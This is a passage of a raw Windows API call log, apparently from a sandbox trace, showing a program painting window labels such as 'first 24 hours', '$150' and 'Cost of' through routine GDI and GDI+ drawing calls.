hdc=0x19e7c8) returned 0x0 [0176.434] GetCurrentObject (hdc=0x4a010724, type=0x1) returned 0xb00017 [0176.434] GetCurrentObject (hdc=0x4a010724, type=0x2) returned 0x900010 [0176.434] GetCurrentObject (hdc=0x4a010724, type=0x7) returned 0x8050721 [0176.434] GetCurrentObject (hdc=0x4a010724, type=0x6) returned 0x8a01c2 [0176.434] SaveDC (hdc=0x4a010724) returned 1 [0176.434] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x240406fe [0176.434] GetClipRgn (hdc=0x4a010724, hrgn=0x240406fe) returned 0 [0176.434] SelectClipRgn (hdc=0x4a010724, hrgn=0x5b04070e) returned 2 [0176.435] DeleteObject (ho=0x240406fe) returned 1 [0176.435] DeleteObject (ho=0x5b04070e) returned 1 [0176.435] OffsetViewportOrgEx (in: hdc=0x4a010724, x=0, y=0, lppt=0x3089748 | out: lppt=0x3089748) returned 1 [0176.435] GetNearestColor (hdc=0x4a010724, color=0x323533) returned 0x323533 [0176.435] CreateSolidBrush (color=0x323533) returned 0x6c10073a [0176.435] FillRect (hDC=0x4a010724, lprc=0x19e7cc, hbr=0x6c10073a) returned 1 [0176.435] DeleteObject (ho=0x6c10073a) returned 1 [0176.435] RestoreDC (hdc=0x4a010724, nSavedDC=-1) returned 1 [0176.435] GdipReleaseDC (graphics=0x6926780, hdc=0x4a010724) returned 0x0 [0176.435] GdipRestoreGraphics (graphics=0x6926780, state=0xfce00dbd) returned 0x0 [0176.435] GdipDeleteRegion (region=0x6923a20) returned 0x0 [0176.435] GetWindowTextLengthW (hWnd=0x2021a) returned 14 [0176.435] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xe [0176.435] GetSystemMetrics (nIndex=42) returned 0 [0176.435] GetWindowTextW (in: hWnd=0x2021a, lpString=0x19e860, nMaxCount=15 | out: lpString="first 24 hours") returned 14 [0176.435] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021a, Msg=0xd, wParam=0xf, lParam=0x19e860) returned 0xe [0176.435] GdipGetDC (graphics=0x6926780, hdc=0x19e7e8) returned 0x0 [0176.435] GetCurrentObject (hdc=0x4a010724, type=0x1) returned 0xb00017 [0176.435] GetCurrentObject (hdc=0x4a010724, type=0x2) returned 0x900010 [0176.435] GetCurrentObject (hdc=0x4a010724, type=0x7) returned 0x8050721 [0176.436] GetCurrentObject (hdc=0x4a010724, type=0x6) returned 0x8a01c2 [0176.436] SaveDC (hdc=0x4a010724) returned 1 [0176.436] GetNearestColor (hdc=0x4a010724, color=0x6994f5) returned 0x6994f5 [0176.436] RestoreDC (hdc=0x4a010724, nSavedDC=-1) returned 1 [0176.436] GdipReleaseDC (graphics=0x6926780, hdc=0x4a010724) returned 0x0 [0176.436] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0176.436] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0176.436] GdipGetTextRenderingHint (graphics=0x6926780, mode=0x19e788) returned 0x0 [0176.436] GdipGetDC (graphics=0x6926780, hdc=0x19e774) returned 0x0 [0176.436] GetCurrentObject (hdc=0x4a010724, type=0x1) returned 0xb00017 [0176.436] GetCurrentObject (hdc=0x4a010724, type=0x2) returned 0x900010 [0176.437] GetCurrentObject (hdc=0x4a010724, type=0x7) returned 0x8050721 [0176.437] GetCurrentObject (hdc=0x4a010724, type=0x6) returned 0x8a01c2 [0176.437] SaveDC (hdc=0x4a010724) returned 1 [0176.437] GetTextAlign (hdc=0x4a010724) returned 0x0 [0176.437] GetTextColor (hdc=0x4a010724) returned 0x0 [0176.437] SetTextColor (hdc=0x4a010724, color=0x6994f5) returned 0x0 [0176.437] GetCurrentObject (hdc=0x4a010724, type=0x6) returned 0x8a01c2 [0176.437] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0176.437] SelectObject (hdc=0x4a010724, h=0x390a06de) returned 0x8a01c2 [0176.437] GetBkMode (hdc=0x4a010724) returned 2 [0176.437] SetBkMode (hdc=0x4a010724, mode=1) returned 2 [0176.437] DrawTextExW (in: hdc=0x4a010724, lpchText="first 24 hours", cchText=14, lprc=0x19e708, format=0x100000, lpdtp=0x3089c00 | out: lpchText="first 24 hours", lprc=0x19e708) returned 29 [0176.443] RestoreDC (hdc=0x4a010724, nSavedDC=-1) returned 1 [0176.444] GdipReleaseDC (graphics=0x6926780, hdc=0x4a010724) returned 0x0 [0176.444] GdipGetDC (graphics=0x6926780, hdc=0x19e924) returned 0x0 [0176.444] BitBlt (hdc=0x1b010670, x=0, y=0, cx=165, cy=29, hdcSrc=0x4a010724, x1=0, y1=0, rop=0xcc0020) returned 1 [0176.444] GdipReleaseDC (graphics=0x6926780, hdc=0x4a010724) returned 0x0 [0176.444] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.479] SelectObject (hdc=0x4a010724, h=0x85000f) returned 0x8050721 [0176.479] DeleteDC (hdc=0x4a010724) returned 1 [0176.479] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0176.479] EndPaint (hWnd=0x2021a, lpPaint=0x19e8c8) returned 1 [0176.480] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.480] IsWindowUnicode (hWnd=0x2021c) returned 1 [0176.480] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.480] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.480] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.480] BeginPaint (in: hWnd=0x2021c, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x10105d6 [0176.480] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.480] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.480] CreateCompatibleDC (hdc=0x10105d6) returned 0x4d010724 [0176.480] SelectObject (hdc=0x4d010724, h=0x8050721) returned 0x85000f [0176.480] GdipCreateFromHDC (hdc=0x4d010724, graphics=0x19e8e4) returned 0x0 [0176.481] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0176.481] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=79, height=33, combineMode=0x0) returned 0x0 [0176.481] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0176.481] GdipGetWorldTransform (graphics=0x6926780, matrix=0x69239f0) returned 0x0 [0176.481] GdipIsMatrixIdentity (matrix=0x69239f0, result=0x19e944) returned 0x0 [0176.481] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0176.481] GdipGetMatrixElements (matrix=0x69239f0, matrixOut=0xf75c20) returned 0x0 [0176.481] LocalFree (hMem=0xf75c20) returned 0x0 [0176.481] GdipDeleteMatrix (matrix=0x69239f0) returned 0x0 [0176.481] GdipCreateRegion (region=0x19e92c) returned 0x0 [0176.481] GdipGetClip (graphics=0x6926780, region=0x6923a20) returned 0x0 [0176.481] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e938) returned 0x0 [0176.481] GdipSaveGraphics (graphics=0x6926780, state=0x19e964) returned 0x0 [0176.481] GetWindowTextLengthW (hWnd=0x2021c) returned 4 [0176.481] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x4 [0176.481] GetSystemMetrics (nIndex=42) returned 0 [0176.481] GetWindowTextW (in: hWnd=0x2021c, lpString=0x19e874, nMaxCount=5 | out: lpString="$150") returned 4 [0176.481] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021c, Msg=0xd, wParam=0x5, lParam=0x19e874) returned 0x4 [0176.481] GetClientRect (in: hWnd=0x2021c, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0176.481] GdipCreateRegion (region=0x19e780) returned 0x0 [0176.481] GdipGetClip (graphics=0x6926780, region=0x6926a60) returned 0x0 [0176.482] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0176.482] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0176.482] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0176.482] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0176.482] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0176.482] LocalFree (hMem=0xf75be8) returned 0x0 [0176.482] GdipCombineRegionRegion (region=0x6926a60, region2=0x6923a20, combineMode=0x1) returned 0x0 [0176.482] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0176.482] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0176.482] LocalFree (hMem=0xf75be8) returned 0x0 [0176.482] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0176.482] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7c0) returned 0x0 [0176.482] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7b0) returned 0x0 [0176.482] GdipGetRegionHRgn (region=0x6926a60, graphics=0x6926780, hRgn=0x19e7b0) returned 0x0 [0176.482] GdipDeleteRegion (region=0x6926a60) returned 0x0 [0176.482] GdipGetDC (graphics=0x6926780, hdc=0x19e7c8) returned 0x0 [0176.482] GetCurrentObject (hdc=0x4d010724, type=0x1) returned 0xb00017 [0176.482] GetCurrentObject (hdc=0x4d010724, type=0x2) returned 0x900010 [0176.482] GetCurrentObject (hdc=0x4d010724, type=0x7) returned 0x8050721 [0176.482] GetCurrentObject (hdc=0x4d010724, type=0x6) returned 0x8a01c2 [0176.482] SaveDC (hdc=0x4d010724) returned 1 [0176.483] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x5c04070e [0176.483] GetClipRgn (hdc=0x4d010724, hrgn=0x5c04070e) returned 0 [0176.483] SelectClipRgn (hdc=0x4d010724, hrgn=0x260406fe) returned 2 [0176.483] DeleteObject (ho=0x5c04070e) returned 1 [0176.483] DeleteObject (ho=0x260406fe) returned 1 [0176.483] OffsetViewportOrgEx (in: hdc=0x4d010724, x=0, y=0, lppt=0x3089f6c | out: lppt=0x3089f6c) returned 1 [0176.483] GetNearestColor (hdc=0x4d010724, color=0x323533) returned 0x323533 [0176.483] CreateSolidBrush (color=0x323533) returned 0x6d10073a [0176.483] FillRect (hDC=0x4d010724, lprc=0x19e7cc, hbr=0x6d10073a) returned 1 [0176.483] DeleteObject (ho=0x6d10073a) returned 1 [0176.483] RestoreDC (hdc=0x4d010724, nSavedDC=-1) returned 1 [0176.483] GdipReleaseDC (graphics=0x6926780, hdc=0x4d010724) returned 0x0 [0176.483] GdipRestoreGraphics (graphics=0x6926780, state=0xfcde0dbd) returned 0x0 [0176.483] GdipDeleteRegion (region=0x6923a20) returned 0x0 [0176.483] GetWindowTextLengthW (hWnd=0x2021c) returned 4 [0176.483] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x4 [0176.483] GetSystemMetrics (nIndex=42) returned 0 [0176.484] GetWindowTextW (in: hWnd=0x2021c, lpString=0x19e874, nMaxCount=5 | out: lpString="$150") returned 4 [0176.484] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021c, Msg=0xd, wParam=0x5, lParam=0x19e874) returned 0x4 [0176.484] GdipGetDC (graphics=0x6926780, hdc=0x19e7e8) returned 0x0 [0176.484] GetCurrentObject (hdc=0x4d010724, type=0x1) returned 0xb00017 [0176.484] GetCurrentObject (hdc=0x4d010724, type=0x2) returned 0x900010 [0176.484] GetCurrentObject (hdc=0x4d010724, type=0x7) returned 0x8050721 [0176.484] GetCurrentObject (hdc=0x4d010724, type=0x6) returned 0x8a01c2 [0176.484] SaveDC (hdc=0x4d010724) returned 1 [0176.484] GetNearestColor (hdc=0x4d010724, color=0xfdfdfa) returned 0xfdfdfa [0176.484] RestoreDC (hdc=0x4d010724, nSavedDC=-1) returned 1 [0176.484] GdipReleaseDC (graphics=0x6926780, hdc=0x4d010724) returned 0x0 [0176.484] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0176.485] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0176.485] GdipGetTextRenderingHint (graphics=0x6926780, mode=0x19e788) returned 0x0 [0176.485] GdipGetDC (graphics=0x6926780, hdc=0x19e774) returned 0x0 [0176.485] GetCurrentObject (hdc=0x4d010724, type=0x1) returned 0xb00017 [0176.485] GetCurrentObject (hdc=0x4d010724, type=0x2) returned 0x900010 [0176.485] GetCurrentObject (hdc=0x4d010724, type=0x7) returned 0x8050721 [0176.485] GetCurrentObject (hdc=0x4d010724, type=0x6) returned 0x8a01c2 [0176.485] SaveDC (hdc=0x4d010724) returned 1 [0176.485] GetTextAlign (hdc=0x4d010724) returned 0x0 [0176.485] GetTextColor (hdc=0x4d010724) returned 0x0 [0176.485] SetTextColor (hdc=0x4d010724, color=0xfdfdfa) returned 0x0 [0176.485] GetCurrentObject (hdc=0x4d010724, type=0x6) returned 0x8a01c2 [0176.488] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0176.488] SelectObject (hdc=0x4d010724, h=0x450a062b) returned 0x8a01c2 [0176.488] GetBkMode (hdc=0x4d010724) returned 2 [0176.488] SetBkMode (hdc=0x4d010724, mode=1) returned 2 [0176.488] DrawTextExW (in: hdc=0x4d010724, lpchText="$150", cchText=4, lprc=0x19e708, format=0x100000, lpdtp=0x308a3e8 | out: lpchText="$150", lprc=0x19e708) returned 33 [0176.488] RestoreDC (hdc=0x4d010724, nSavedDC=-1) returned 1 [0176.488] GdipReleaseDC (graphics=0x6926780, hdc=0x4d010724) returned 0x0 [0176.488] GdipGetDC (graphics=0x6926780, hdc=0x19e924) returned 0x0 [0176.488] BitBlt (hdc=0x10105d6, x=0, y=0, cx=79, cy=33, hdcSrc=0x4d010724, x1=0, y1=0, rop=0xcc0020) returned 1 [0176.489] GdipReleaseDC (graphics=0x6926780, hdc=0x4d010724) returned 0x0 [0176.489] SelectPalette (hdc=0x10105d6, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.489] SelectObject (hdc=0x4d010724, h=0x85000f) returned 0x8050721 [0176.489] DeleteDC (hdc=0x4d010724) returned 1 [0176.489] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0176.489] EndPaint (hWnd=0x2021c, lpPaint=0x19e8c8) returned 1 [0176.489] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.489] IsWindowUnicode (hWnd=0x2021e) returned 1 [0176.489] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.489] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.489] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.490] BeginPaint (in: hWnd=0x2021e, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x60100ce [0176.490] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.490] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.490] CreateCompatibleDC (hdc=0x60100ce) returned 0x50010724 [0176.490] SelectObject (hdc=0x50010724, h=0x8050721) returned 0x85000f [0176.490] GdipCreateFromHDC (hdc=0x50010724, graphics=0x19e8e4) returned 0x0 [0176.490] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0176.490] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=109, height=33, combineMode=0x0) returned 0x0 [0176.490] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0176.490] GdipGetWorldTransform (graphics=0x6926780, matrix=0x69239f0) returned 0x0 [0176.490] GdipIsMatrixIdentity (matrix=0x69239f0, result=0x19e944) returned 0x0 [0176.491] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0176.491] GdipGetMatrixElements (matrix=0x69239f0, matrixOut=0xf75bb0) returned 0x0 [0176.491] LocalFree (hMem=0xf75bb0) returned 0x0 [0176.491] GdipDeleteMatrix (matrix=0x69239f0) returned 0x0 [0176.491] GdipCreateRegion (region=0x19e92c) returned 0x0 [0176.491] GdipGetClip (graphics=0x6926780, region=0x6923a20) returned 0x0 [0176.491] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e938) returned 0x0 [0176.491] GdipSaveGraphics (graphics=0x6926780, state=0x19e964) returned 0x0 [0176.491] GetWindowTextLengthW (hWnd=0x2021e) returned 7 [0176.491] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0176.491] GetSystemMetrics (nIndex=42) returned 0 [0176.491] GetWindowTextW (in: hWnd=0x2021e, lpString=0x19e870, nMaxCount=8 | out: lpString="Cost of") returned 7 [0176.491] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021e, Msg=0xd, wParam=0x8, lParam=0x19e870) returned 0x7 [0176.491] GetClientRect (in: hWnd=0x2021e, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0176.491] GdipCreateRegion (region=0x19e780) returned 0x0 [0176.491] GdipGetClip (graphics=0x6926780, region=0x6926a60) returned 0x0 [0176.491] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0176.491] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0176.491] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0176.491] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0176.491] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0176.491] LocalFree (hMem=0xf75be8) returned 0x0 [0176.491] GdipCombineRegionRegion (region=0x6926a60, region2=0x6923a20, combineMode=0x1) returned 0x0 [0176.492] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0176.492] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0176.492] LocalFree (hMem=0xf75be8) returned 0x0 [0176.492] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0176.492] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7c0) returned 0x0 [0176.492] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7b0) returned 0x0 [0176.492] GdipGetRegionHRgn (region=0x6926a60, graphics=0x6926780, hRgn=0x19e7b0) returned 0x0 [0176.492] GdipDeleteRegion (region=0x6926a60) returned 0x0 [0176.492] GdipGetDC (graphics=0x6926780, hdc=0x19e7c8) returned 0x0 [0176.492] GetCurrentObject (hdc=0x50010724, type=0x1) returned 0xb00017 [0176.492] GetCurrentObject (hdc=0x50010724, type=0x2) returned 0x900010 [0176.492] GetCurrentObject (hdc=0x50010724, type=0x7) returned 0x8050721 [0176.492] GetCurrentObject (hdc=0x50010724, type=0x6) returned 0x8a01c2 [0176.492] SaveDC (hdc=0x50010724) returned 1 [0176.492] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x270406fe [0176.492] GetClipRgn (hdc=0x50010724, hrgn=0x270406fe) returned 0 [0176.492] SelectClipRgn (hdc=0x50010724, hrgn=0x5e04070e) returned 2 [0176.492] DeleteObject (ho=0x270406fe) returned 1 [0176.492] DeleteObject (ho=0x5e04070e) returned 1 [0176.492] OffsetViewportOrgEx (in: hdc=0x50010724, x=0, y=0, lppt=0x308a760 | out: lppt=0x308a760) returned 1 [0176.493] GetNearestColor (hdc=0x50010724, color=0x323533) returned 0x323533 [0176.493] CreateSolidBrush (color=0x323533) returned 0x6e10073a [0176.493] FillRect (hDC=0x50010724, lprc=0x19e7cc, hbr=0x6e10073a) returned 1 [0176.493] DeleteObject (ho=0x6e10073a) returned 1 [0176.493] RestoreDC (hdc=0x50010724, nSavedDC=-1) returned 1 [0176.493] GdipReleaseDC (graphics=0x6926780, hdc=0x50010724) returned 0x0 [0176.493] GdipRestoreGraphics (graphics=0x6926780, state=0xfcdc0dbd) returned 0x0 [0176.493] GdipDeleteRegion (region=0x6923a20) returned 0x0 [0176.493] GetWindowTextLengthW (hWnd=0x2021e) returned 7 [0176.493] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0176.493] GetSystemMetrics (nIndex=42) returned 0 [0176.493] GetWindowTextW (in: hWnd=0x2021e, lpString=0x19e870, nMaxCount=8 | out: lpString="Cost of") returned 7 [0176.493] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021e, Msg=0xd, wParam=0x8, lParam=0x19e870) returned 0x7 [0176.493] GdipGetDC (graphics=0x6926780, hdc=0x19e7e8) returned 0x0 [0176.493] GetCurrentObject (hdc=0x50010724, type=0x1) returned 0xb00017 [0176.493] GetCurrentObject (hdc=0x50010724, type=0x2) returned 0x900010 [0176.493] GetCurrentObject (hdc=0x50010724, type=0x7) returned 0x8050721 [0176.493] GetCurrentObject (hdc=0x50010724, type=0x6) returned 0x8a01c2 [0176.493] SaveDC (hdc=0x50010724) returned 1 [0176.494] GetNearestColor (hdc=0x50010724, color=0x6994f5) returned 0x6994f5 [0176.494] RestoreDC (hdc=0x50010724, nSavedDC=-1) returned 1 [0176.494] GdipReleaseDC (graphics=0x6926780, hdc=0x50010724) returned 0x0 [0176.494] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0176.494] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0176.494] GdipGetTextRenderingHint (graphics=0x6926780, mode=0x19e788) returned 0x0 [0176.494] GdipGetDC (graphics=0x6926780, hdc=0x19e774) returned 0x0 [0176.494] GetCurrentObject (hdc=0x50010724, type=0x1) returned 0xb00017 [0176.494] GetCurrentObject (hdc=0x50010724, type=0x2) returned 0x900010 [0176.494] GetCurrentObject (hdc=0x50010724, type=0x7) returned 0x8050721 [0176.494] GetCurrentObject (hdc=0x50010724, type=0x6) returned 0x8a01c2 [0176.494] SaveDC (hdc=0x50010724) returned 1 [0176.495] GetTextAlign (hdc=0x50010724) returned 0x0 [0176.495] GetTextColor (hdc=0x50010724) returned 0x0 [0176.495] SetTextColor (hdc=0x50010724, color=0x6994f5) returned 0x0 [0176.495] GetCurrentObject (hdc=0x50010724, type=0x6) returned 0x8a01c2 [0176.495] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0176.495] SelectObject (hdc=0x50010724, h=0x450a062b) returned 0x8a01c2 [0176.495] GetBkMode (hdc=0x50010724) returned 2 [0176.495] SetBkMode (hdc=0x50010724, mode=1) returned 2 [0176.495] DrawTextExW (in: hdc=0x50010724, lpchText="Cost of", cchText=7, lprc=0x19e708, format=0x100000, lpdtp=0x308abe8 | out: lpchText="Cost of", lprc=0x19e708) returned 33 [0176.495] RestoreDC (hdc=0x50010724, nSavedDC=-1) returned 1 [0176.495] GdipReleaseDC (graphics=0x6926780, hdc=0x50010724) returned 0x0 [0176.496] GdipGetDC (graphics=0x6926780, hdc=0x19e924) returned 0x0 [0176.496] BitBlt (hdc=0x60100ce, x=0, y=0, cx=109, cy=33, hdcSrc=0x50010724, x1=0, y1=0, rop=0xcc0020) returned 1 [0176.496] GdipReleaseDC (graphics=0x6926780, hdc=0x50010724) returned 0x0 [0176.496] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.496] SelectObject (hdc=0x50010724, h=0x85000f) returned 0x8050721 [0176.496] DeleteDC (hdc=0x50010724) returned 1 [0176.496] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0176.496] EndPaint (hWnd=0x2021e, lpPaint=0x19e8c8) returned 1 [0176.496] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.496] IsWindowUnicode (hWnd=0x20220) returned 1 [0176.496] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.496] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.497] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.497] BeginPaint (hWnd=0x20220, lpPaint=0x19e8fc) [0176.497] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20220, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.497] GetClientRect (in: hWnd=0x20220, lpRect=0x19e59c | out: lpRect=0x19e59c) returned 1 [0176.497] GetWindowTextLengthW (hWnd=0x20220) returned 0 [0176.497] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20220, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.497] GetSystemMetrics (nIndex=42) returned 0 [0176.497] GetWindowTextW (in: hWnd=0x20220, lpString=0x19e47c, nMaxCount=1 | out: lpString="") returned 0 [0176.497] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20220, Msg=0xd, wParam=0x1, lParam=0x19e47c) returned 0x0 [0176.497] GetClientRect (in: hWnd=0x20220, lpRect=0x19e4a4 | out: lpRect=0x19e4a4) returned 1 [0176.497] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0176.498] SelectPalette (hdc=0x10105d6, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.498] EndPaint (hWnd=0x20220, lpPaint=0x19e8f8) returned 1 [0176.498] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.498] IsWindowUnicode (hWnd=0x20222) returned 1 [0176.498] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.498] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.498] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.498] BeginPaint (in: hWnd=0x20222, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x60100ce [0176.498] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20222, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.498] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.499] GdipCreateFromHDC (hdc=0x56010724, graphics=0x19e8e4) returned 0x0 [0176.499] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0176.499] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=391, height=24, combineMode=0x0) returned 0x0 [0176.499] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0176.499] GdipGetWorldTransform (graphics=0x6926780, matrix=0x69239f0) returned 0x0 [0176.499] GdipIsMatrixIdentity (matrix=0x69239f0, result=0x19e944) returned 0x0 [0176.499] GdipGetMatrixElements (matrix=0x69239f0, matrixOut=0xf75c20) returned 0x0 [0176.499] LocalFree (hMem=0xf75c20) returned 0x0 [0176.499] GdipDeleteMatrix (matrix=0x69239f0) returned 0x0 [0176.500] GdipCreateRegion (region=0x19e92c) returned 0x0 [0176.500] GdipGetClip (graphics=0x6926780, region=0x6923a20) returned 0x0 [0176.500] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e938) returned 0x0 [0176.500] GdipSaveGraphics (graphics=0x6926780, state=0x19e964) returned 0x0 [0176.500] GetClientRect (in: hWnd=0x20222, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0176.500] GdipCreateRegion (region=0x19e780) returned 0x0 [0176.500] GdipGetClip (graphics=0x6926780, region=0x6926a60) returned 0x0 [0176.500] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0176.500] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0176.500] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0176.500] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0176.501] LocalFree (hMem=0xf75bb0) returned 0x0 [0176.501] GdipCombineRegionRegion (region=0x6926a60, region2=0x6923a20, combineMode=0x1) returned 0x0 [0176.501] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0176.501] 